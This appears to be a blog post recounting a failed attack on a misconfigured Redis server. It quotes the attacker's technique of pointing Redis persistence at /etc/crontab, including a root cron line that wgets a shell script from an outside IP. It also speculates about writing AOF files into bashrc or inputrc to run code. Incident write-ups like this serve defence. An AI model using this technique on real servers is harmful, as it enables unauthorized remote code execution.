My team saw a failed attempt to compromise one of our Redis servers today. In lieu of script kiddies reading antirez’s article about Redis security, many system administrators are seeing this happen to their systems. Although one of our QA servers was running the incorrect Redis config file (whoops!), we were fortunate that the user running Redis on that server has very limited permissions.
Unlike the method of attack described in antirez’s article, the attacker did not go after a user’s authorized_keys file to escalate their access. Instead the attacker went after root’s crontab file. The attacker first executed, in Redis:
This cleared the contents of our database. The attacker then updated our config so that Redis’:
- persistence included appendonly (aof)
- base dir was set to ‘/etc’
- dbfilename was set to ‘crontab’
Finally the attacker executed, in Redis:
* * * * * root wget -P /tmp http://184.108.40.206:8080/rcs.sh
At this point, it seems as if the attacker or their script realized that their attempt failed. I can not find anything indicating that an attempt was made to execute the sh file (which didn’t exist anyway, since the redis user had its permission denied to write to /etc).
Despite failing, I thought this was interesting. The aof file type, unlike the rdb file type, is uncompressed and does not start with the rdb byte sequence which can cause scripting language parsers to barf. This widens the attack surface a bit, because it means that if an attacker can get Redis to write to a file of their choosing, they may be able to execute arbitrary code via some sort of scripting language. The catch is that the format of an aof file still contains odd byte sequences (used for delimiting), so getting Bash to run may still be challenging. It may be possible to write to a bashrc or bash_profile file and have code executed if the first key or value persisted to the aof file contained valid Bash. Inputrc files may also be an interesting target. I will leave exploring this as an exercise to the curious reader.